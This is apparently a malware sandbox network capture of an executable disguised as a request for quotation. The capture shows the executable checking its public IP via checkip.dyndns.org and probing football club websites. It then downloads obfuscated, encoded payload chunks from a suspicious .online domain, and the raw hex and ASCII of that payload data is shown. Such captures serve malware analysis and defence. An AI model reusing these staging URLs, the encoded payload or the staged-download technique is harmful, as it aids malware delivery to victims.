Mar 3, 2021 07:34:24.040517092 CET	18649	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 103 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49821	162.88.193.70	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:34:24.176686049 CET	18650	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 3, 2021 07:34:24.307117939 CET	18650	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 103 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49825	162.88.193.70	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:34:29.324105978 CET	18675	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 3, 2021 07:34:29.454067945 CET	18677	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 103 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49826	162.88.193.70	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:34:29.594278097 CET	18678	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 3, 2021 07:34:29.723628044 CET	18679	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 103 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49746	13.225.80.39	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:32:41.192306995 CET	5002	OUT	GET / HTTP/1.1 User-Agent: Other Host: www.liverpoolfc.com Connection: Keep-Alive
Mar 3, 2021 07:32:41.232743979 CET	5003	IN	HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Wed, 03 Mar 2021 06:32:41 GMT Content-Type: text/html Content-Length: 183 Connection: keep-alive Location: https://www.liverpoolfc.com/ X-Cache: Redirect from cloudfront Via: 1.1 96c1c36adc76f99239fd3220e5be7e6a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C2 X-Amz-Cf-Id: R_kH4VftTsN9TgF30Fy53tIFcQ-ofmTHzi8PFDCMGH9ctmKX0B7FhQ== Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49754	162.88.193.70	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:10.040569067 CET	5427	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 3, 2021 07:33:10.170937061 CET	5427	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 103 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49755	162.88.193.70	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:11.041265011 CET	5428	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 3, 2021 07:33:11.174946070 CET	5428	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 103 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 37 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.78</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49758	151.101.2.133	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:17.742494106 CET	5501	OUT	GET / HTTP/1.1 User-Agent: Other Host: www.chelseafc.com Connection: Keep-Alive
Mar 3, 2021 07:33:17.783216000 CET	5501	IN	HTTP/1.1 302 Found Retry-After: 0 Content-Length: 0 Location: https://www.chelseafc.com/en Accept-Ranges: bytes Date: Wed, 03 Mar 2021 06:33:17 GMT Connection: close Vary: Accept-Encoding, Accept-Language Access-Control-Allow-Origin: * X-Powered-By: Curiosity X-Geo-Country_code: CH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49770	172.67.179.188	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:22.567118883 CET	6187	OUT	GET /base/BE5201E9C42925D8E78FC1784E088C41.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online Connection: Keep-Alive
Mar 3, 2021 07:33:22.765702963 CET	6189	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:33:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d52f255e17a717c817287e942236c8fdc1614753202; expires=Fri, 02-Apr-21 06:33:22 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:04 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 08986399aa0000540a240d3000000001 Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Uozh3rZr%2BEu1gBqgvsR%2B41q2tcG3L%2BbAU3LaididEFixVSIlOFxNWjPtcXnpPnCfxopSA3Pp5QeULi0kDdMUXKCbfTHiowqxnVhiHlsjTV%2BYwye%2FFlww"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d53c4f93540a-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 32 63 34 34 0d 0a 3c 70 3e 74 74 64 78 42 64 77 63 63 64 42 64 6d 64 42 64 42 64 42 64 63 64 42 64 42 64 42 64 49 75 75 64 49 75 75 64 42 64 42 64 77 73 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 61 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 77 49 73 64 42 64 42 64 42 64 77 63 64 6d 77 64 77 73 61 64 77 63 64 42 64 77 73 42 64 78 64 49 42 75 64 6d 6d 64 77 73 63 64 77 64 74 61 64 49 42 75 64 6d 6d 64 73 63 64 77 42 63 64 77 42 75 64 77 77 75 64 6d 49 64 77 77 49 64 77 77 63 64 77 77 77 64 77 42 6d 64 77 77 63 64 78 74 64 77 42 78 64 6d 49 64 78 78 64 78 74 64 77 77 42 64 77 77 42 64 77 77 77 64 77 77 61 64 6d 49 64 78 73 64 77 42 77 64 6d 49 64 77 77 63 64 77 77 74 64 77 77 42 64 6d 49 64 77 42 75 64 77 77 42 64 6d 49 64 61 73 64 74 78 64 73 6d 64 6d 49 64 77 42 78 64 77 77 77 64 77 42 42 64 77 42 77 64 63 61 64 77 6d 64 77 6d 64 77 42 64 6d 61 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 73 42 64 61 78 64 42 64 42 64 74 61 64 77 64 6d 64 42 64 74 61 64 77 63 49 64 63 77 64 77 73 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 49 49 63 64 42 64 6d 63 64 42 64 77 77 64 77 64 73 42 64 42 64 42 64 77 77 49 64 77 6d 64 42 64 42 64 61 64 42 64 42 Data Ascii: 2c44<p>ttdxBdwccdBdmdBdBdBdcdBdBdBdIuudIuudBdBdwscdBdBdBdBdBdBdBdacdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdwIsdBdBdBdwcdmwdwsadwcdBdwsBdxdIBudmmdwscdwdtadIBudmmdscdwBcdwBudwwudmIdwwIdwwcdwwwdwBmdwwcdxtdwBxdmIdxxdxtdwwBdwwBdwwwdwwadmIdxsdwBwdmIdwwcdwwtdwwBdmIdwBudwwBdmIdasdtxdsmdmIdwBxdwwwdwBBdwBwdcadwmdwmdwBdmadBdBdBdBdBdBdBdsBdaxdBdBdtadwdmdBdtadwcIdcwdwsBdBdBdBdBdBdBdBdBdIIcdBdmcdBdwwdwdsBdBdBdwwIdwmdBdBdadBdB
Mar 3, 2021 07:33:22.765753031 CET	6190	IN	Data Raw: 64 42 64 42 64 42 64 42 64 77 75 73 64 77 63 6d 64 77 6d 64 42 64 42 64 6d 49 64 42 64 42 64 42 64 77 61 42 64 77 6d 64 42 64 42 64 42 64 42 64 77 49 73 64 42 64 6d 49 64 42 64 42 64 42 64 49 64 42 64 42 64 63 64 42 64 42 64 42 64 42 64 42 64 42 Data Ascii: dBdBdBdBdwusdwcmdwmdBdBdmIdBdBdBdwaBdwmdBdBdBdBdwIsdBdmIdBdBdBdIdBdBdcdBdBdBdBdBdBdBdcdBdBdBdBdBdBdBdBdIIcdwmdBdBdIdBdBdBdBdBdBdIdBdacdwmmdBdBdwadBdBdwadBdBdBdBdwadBdBdwadBdBdBdBdBdBdwadBdBdBdBdBdBdBdBdBdBdBdasdwcmdwmdBdstdBdBdBdBdwaBdwmdBdIwI
Mar 3, 2021 07:33:22.765790939 CET	6191	IN	Data Raw: 64 42 64 77 49 64 42 64 42 64 42 64 77 61 64 42 64 42 64 42 64 49 42 64 42 64 42 64 42 64 49 63 64 42 64 42 64 42 64 49 73 64 42 64 42 64 42 64 6d 61 64 42 64 42 64 42 64 49 61 64 63 42 64 77 6d 64 42 64 42 64 61 64 63 49 64 63 49 64 49 75 63 64 Data Ascii: dBdwIdBdBdBdwadBdBdBdIBdBdBdBdIcdBdBdBdIsdBdBdBdmadBdBdBdIadcBdwmdBdBdadcIdcIdIucdxdBdBdcBdwwtdBdBdwBdcIdmBdIdcBdwmadBdBdwBdcIdmsdBdIdcBdwmtdBdBdwBdBdcIdwaadwwudwmsdBdBdwBdwIsdcdBdBdcdwwudwmxdBdBdwBdwIsdudBdBdcdwwudwcBdBdBdwBdwIsdadBdBdcdwwudw
Mar 3, 2021 07:33:22.765826941 CET	6193	IN	Data Raw: 64 42 64 42 64 49 75 63 64 77 64 49 75 63 64 77 63 64 42 64 42 64 63 6d 64 61 64 49 75 63 64 49 49 64 63 63 64 42 64 42 64 77 64 49 75 63 64 77 49 64 42 64 42 64 75 74 64 77 61 61 64 49 61 64 42 64 42 64 42 64 42 64 49 73 64 77 63 77 64 63 75 64 Data Ascii: dBdBdIucdwdIucdwcdBdBdcmdadIucdIIdccdBdBdwdIucdwIdBdBdutdwaadIadBdBdBdBdIsdwcwdcudBdBdwdmtdmIdudBdBdBdmwdxxdwutdmtdmIdudBdBdBdmwducdwutdmtdmIdudBdBdBdmwduudwutdmtdmIdudBdBdBdmwdumdwutdmtdItdmwdwIudwutdmtdmIdcdBdBdBdmwdwBIdwutdmtdmIdcdBdBdBdmwd
Mar 3, 2021 07:33:22.765872955 CET	6194	IN	Data Raw: 64 63 78 64 77 75 74 64 6d 74 64 6d 49 64 77 75 64 42 64 42 64 42 64 6d 77 64 77 42 77 64 77 75 74 64 6d 74 64 6d 49 64 77 75 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 77 64 77 75 64 6d 77 64 63 61 64 77 75 74 64 6d 74 64 Data Ascii: dcxdwutdmtdmIdwudBdBdBdmwdwBwdwutdmtdmIdwudBdBdBdmwdwBBdwutdmtdmwdwudmwdcadwutdmtdmIdwcdBdBdBdmwdwBIdwutdmtdmIdwcdBdBdBdmwdwBBdwutdmtdmIdwcdBdBdBdmwdxtdwutdmtdmIdwcdBdBdBdmwdcsdwutdmtdmwdwcdmwdwwBdwutdmtdmIdwmdBdBdBdmwduudwutdmtdmIdwmdBdBdBdmw
Mar 3, 2021 07:33:22.765928984 CET	6195	IN	Data Raw: 64 77 42 42 64 77 75 74 64 6d 74 64 49 61 64 6d 77 64 61 75 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 64 42 64 6d 77 64 63 73 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 64 42 64 6d 77 64 78 74 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 Data Ascii: dwBBdwutdmtdIadmwdaudwutdmtdmIdmdBdBdBdmwdcsdwutdmtdmIdmdBdBdBdmwdxtdwutdmtdmIdmdBdBdBdmwdxxdwutdmtdmIdmdBdBdBdmwduIdwutdmtdIudmwdxIdwutdmtdmIdIdBdBdBdmwduadwutdmtdmIdIdBdBdBdmwdcsdwutdmtdmIdIdBdBdBdmwdxxdwutdmtdmIdIdBdBdBdmwdwBIdwutdmtdIcdmwd
Mar 3, 2021 07:33:22.765966892 CET	6197	IN	Data Raw: 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 63 78 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 78 74 64 77 75 74 64 6d 74 64 6d 49 64 77 Data Ascii: mtdmIdwIdBdBdBdmwdcxdwutdmtdmIdwIdBdBdBdmwducdwutdmtdmIdwIdBdBdBdmwdxtdwutdmtdmIdwIdBdBdBdmwduwdwutdmtdmwdwIdmwdsIdwutdmtdmIdwwdBdBdBdmwdcsdwutdmtdmIdwwdBdBdBdmwdwBIdwutdmtdmIdwwdBdBdBdmwdutdwutdmtdmIdwwdBdBdBdmwduwdwutdmtdmwdwwdmwdwBBdwutdmtd
Mar 3, 2021 07:33:22.766002893 CET	6198	IN	Data Raw: 64 77 75 74 64 6d 74 64 6d 49 64 77 64 42 64 42 64 42 64 6d 77 64 75 61 64 77 75 74 64 6d 74 64 49 6d 64 6d 77 64 63 73 64 77 75 74 64 6d 74 64 6d 49 64 42 64 42 64 42 64 42 64 6d 77 64 75 49 64 77 75 74 64 6d 74 64 6d 49 64 42 64 42 64 42 64 42 Data Ascii: dwutdmtdmIdwdBdBdBdmwduadwutdmtdImdmwdcsdwutdmtdmIdBdBdBdBdmwduIdwutdmtdmIdBdBdBdBdmwdutdwutdmtdmIdBdBdBdBdmwdxsdwutdmtdmIdBdBdBdBdmwduIdwutdmtdIIdmwdwImdwutdwwudIIdBdBdwBdBdIucdwIdwdBdcBdIsdBdBdwBdwwwdmIdBdBdwBdBdIucdwIdmdBdwwwdmwdBdBdwBdmwdw
Mar 3, 2021 07:33:22.766041994 CET	6200	IN	Data Raw: 64 6d 74 64 6d 49 64 77 42 77 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 77 64 77 42 77 64 6d 77 64 61 75 64 77 75 74 64 6d 74 64 6d 49 64 77 42 42 64 42 64 42 64 42 64 6d 77 64 75 6d 64 77 75 74 64 6d 74 64 6d 49 64 77 42 42 Data Ascii: dmtdmIdwBwdBdBdBdmwducdwutdmtdmwdwBwdmwdaudwutdmtdmIdwBBdBdBdBdmwdumdwutdmtdmIdwBBdBdBdBdmwduBdwutdmtdmIdwBBdBdBdBdmwdxsdwutdmtdmIdwBBdBdBdBdmwduadwutdmtdmwdwBBdmwdwwBdwutdmtdmIdxxdBdBdBdmwdxxdwutdmtdmIdxxdBdBdBdmwduwdwutdmtdmIdxxdBdBdBdmwduId
Mar 3, 2021 07:33:22.766068935 CET	6200	IN	Data Raw: 42 64 42 64 6d 77 64 63 78 64 77 75 74 64 6d 74 64 6d 77 64 78 42 64 6d 77 64 77 77 77 64 77 75 74 64 6d 74 64 6d 49 64 73 78 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 49 64 73 78 64 42 64 42 64 42 64 6d 77 64 78 73 64 77 Data Ascii: BdBdmwdcxdwutdmtdmwdxBdmwdwwwdwutdmtdmIdsxdBdBdBdmwdwBBdwutdmtdmIdsxdBdBdBdmwdxsdwutdmtdmIdsxdBdBdBdmwduadwutdmtdmIdsxdBdBdBdmwduadwutdmtdmwdsxdmwdwwadwutdmtdmIdssdBdBdBdmwdcsdwutdmtdmId
Mar 3, 2021 07:33:22.766268015 CET	6201	IN	Data Raw: 37 66 66 39 0d 0a 73 73 64 42 64 42 64 42 64 6d 77 64 63 78 64 77 75 74 64 6d 74 64 6d 49 64 73 73 64 42 64 42 64 42 64 6d 77 64 75 6d 64 77 75 74 64 6d 74 64 6d 49 64 73 73 64 42 64 42 64 42 64 6d 77 64 75 6d 64 77 75 74 64 6d 74 64 6d 77 64 73 Data Ascii: 7ff9ssdBdBdBdmwdcxdwutdmtdmIdssdBdBdBdmwdumdwutdmtdmIdssdBdBdBdmwdumdwutdmtdmwdssdmwdxxdwutdmtdmIdstdBdBdBdmwdutdwutdmtdmIdstdBdBdBdmwdwBwdwutdmtdmIdstdBdBdBdmwduIdwutdmtdmIdstdBdBdBdmwdxtdwutdmtdmwdstdmwdwBwdwutdmtdmIdsadBdBdBdmwdumdwutdmtd
Mar 3, 2021 07:33:23.223433971 CET	7251	OUT	GET /base/2EFB732049D86A274BE3059F4762FB9F.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online
Mar 3, 2021 07:33:23.416165113 CET	7253	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:33:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=da2019316791d167620f5dab7e3add7621614753203; expires=Fri, 02-Apr-21 06:33:23 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:08 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0898639c3b0000540a35b17000000001 Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=CZe3Fh56DcRgrQCktTarCZ6gGfgRBsg1utqBfZ13JUxUYMvONTeu5U7%2BM9arHmkEv9sFjZOqyBKQr%2B9TH3oJqTAujO2K%2BDPxhmTob8unOEUUSSGL2zbu"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d5405dc4540a-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 38 63 32 0d 0a 3c 70 3e 75 49 64 49 6d 61 64 49 6d 61 64 77 75 73 64 77 75 73 64 73 75 64 73 75 64 77 73 77 64 73 78 64 6d 73 64 6d 73 64 6d 77 64 6d 77 64 49 6d 78 64 49 6d 73 64 49 49 75 64 77 42 73 64 78 49 64 78 49 64 63 42 64 63 42 64 77 78 61 64 77 78 61 64 63 6d 64 49 42 74 64 77 75 78 64 77 75 78 64 49 75 42 64 49 75 42 64 77 6d 61 64 77 6d 75 64 77 61 77 64 63 6d 64 49 75 64 49 75 64 63 77 64 63 77 64 77 78 78 64 77 78 78 64 63 63 64 49 42 73 64 77 61 49 64 77 61 49 64 49 77 73 64 49 77 73 64 77 42 61 64 77 42 75 64 63 49 64 77 73 42 64 77 6d 49 64 77 6d 49 64 77 73 49 64 77 73 49 64 49 63 42 64 49 63 42 64 49 63 73 64 77 75 61 64 49 6d 75 64 49 6d 75 64 77 61 78 64 77 61 78 64 77 6d 49 64 77 6d 77 64 77 61 74 64 63 78 64 6d 64 6d 64 75 77 64 75 77 64 77 42 74 64 77 42 74 64 49 42 63 64 77 77 49 64 77 64 77 64 77 49 61 64 77 49 61 64 49 42 6d 64 49 42 49 64 61 63 64 49 42 49 64 77 73 61 64 77 73 61 64 77 6d 61 64 77 6d 61 64 6d 63 64 6d 63 64 77 49 61 64 6d 63 64 77 75 64 77 75 64 77 6d 63 64 77 6d 63 64 77 73 42 64 77 74 78 64 61 73 64 49 42 61 64 77 61 6d 64 77 61 6d 64 49 77 77 64 49 77 77 64 74 75 64 74 75 64 49 6d 42 64 77 6d 73 64 77 73 77 64 77 73 77 64 77 63 63 64 77 63 63 64 77 61 63 64 77 61 6d 64 75 77 64 77 73 78 64 49 42 42 64 49 42 42 64 77 61 75 64 77 61 75 64 61 6d 64 61 6d 64 77 77 74 64 49 75 64 6d 73 64 Data Ascii: 18c2<p>uIdImadImadwusdwusdsudsudwswdsxdmsdmsdmwdmwdImxdImsdIIudwBsdxIdxIdcBdcBdwxadwxadcmdIBtdwuxdwuxdIuBdIuBdwmadwmudwawdcmdIudIudcwdcwdwxxdwxxdccdIBsdwaIdwaIdIwsdIwsdwBadwBudcIdwsBdwmIdwmIdwsIdwsIdIcBdIcBdIcsdwuadImudImudwaxdwaxdwmIdwmwdwatdcxdmdmduwduwdwBtdwBtdIBcdwwIdwdwdwIadwIadIBmdIBIdacdIBIdwsadwsadwmadwmadmcdmcdwIadmcdwudwudwmcdwmcdwsBdwtxdasdIBadwamdwamdIwwdIwwdtudtudImBdwmsdwswdwswdwccdwccdwacdwamduwdwsxdIBBdIBBdwaudwaudamdamdwwtdIudmsd
Mar 3, 2021 07:33:45.503459930 CET	12704	OUT	GET /base/87D299F76097B9A9304F3C6E7641EB09.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online
Mar 3, 2021 07:33:45.702935934 CET	12732	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:33:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=deb4f3bbb5b423e7043d40e5debe640a81614753225; expires=Fri, 02-Apr-21 06:33:45 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:10 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 089863f3430000540adc17a000000001 Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=N9wpEajGAGA0%2BLpVJGqr72yCRWG6gtQzTri9a4cGKFn2in%2FB1yeU3I6NP6NZ%2BW2XUHi%2BtHYWktFlyDbSDEklgWX2sTeI3meNvYTSUwGtHIsT6XfvpfD%2B"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d5cb9863540a-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 64 36 33 0d 0a 3c 70 3e 64 77 49 42 64 42 64 73 73 64 77 42 61 64 77 49 77 64 77 77 77 64 73 42 64 73 77 64 77 77 61 64 74 63 64 74 74 64 73 61 64 77 77 42 64 77 77 74 64 77 77 49 64 77 77 78 64 74 42 64 73 73 64 77 49 42 64 42 64 74 6d 64 77 77 42 64 77 77 73 64 78 74 64 77 42 73 64 77 42 75 64 77 42 42 64 73 42 64 78 74 64 77 77 63 64 78 74 64 77 42 78 64 77 42 77 64 77 77 61 64 77 42 77 64 77 77 63 64 74 74 64 77 42 75 64 77 49 42 64 42 64 74 74 64 77 42 77 64 77 77 75 64 77 77 75 64 78 74 64 77 42 6d 64 77 42 77 64 61 61 64 77 77 77 64 77 49 42 64 42 64 77 42 78 64 73 63 64 74 49 64 77 42 42 64 77 77 78 64 77 42 6d 64 77 49 49 64 74 63 64 77 77 75 64 77 77 49 64 73 78 64 77 77 75 64 74 77 64 74 63 64 77 49 77 64 77 49 42 64 42 64 78 75 64 78 75 64 78 75 64 73 75 64 74 78 64 78 73 64 74 74 64 77 77 74 64 73 75 64 77 42 73 64 74 78 64 74 73 64 77 77 78 64 74 74 64 77 77 42 64 77 77 74 64 77 49 49 64 77 49 42 64 42 64 74 77 64 73 61 64 73 73 64 78 74 64 77 42 49 64 77 49 77 64 74 74 64 61 75 64 77 49 77 64 42 64 74 77 64 77 49 49 64 73 77 64 77 42 61 64 73 78 64 73 49 64 74 61 64 61 61 64 61 78 64 77 42 77 64 74 61 64 74 42 64 78 42 64 73 61 64 73 63 64 74 49 64 78 73 64 74 42 64 77 49 49 64 74 74 64 61 74 64 77 49 77 64 42 64 77 77 49 64 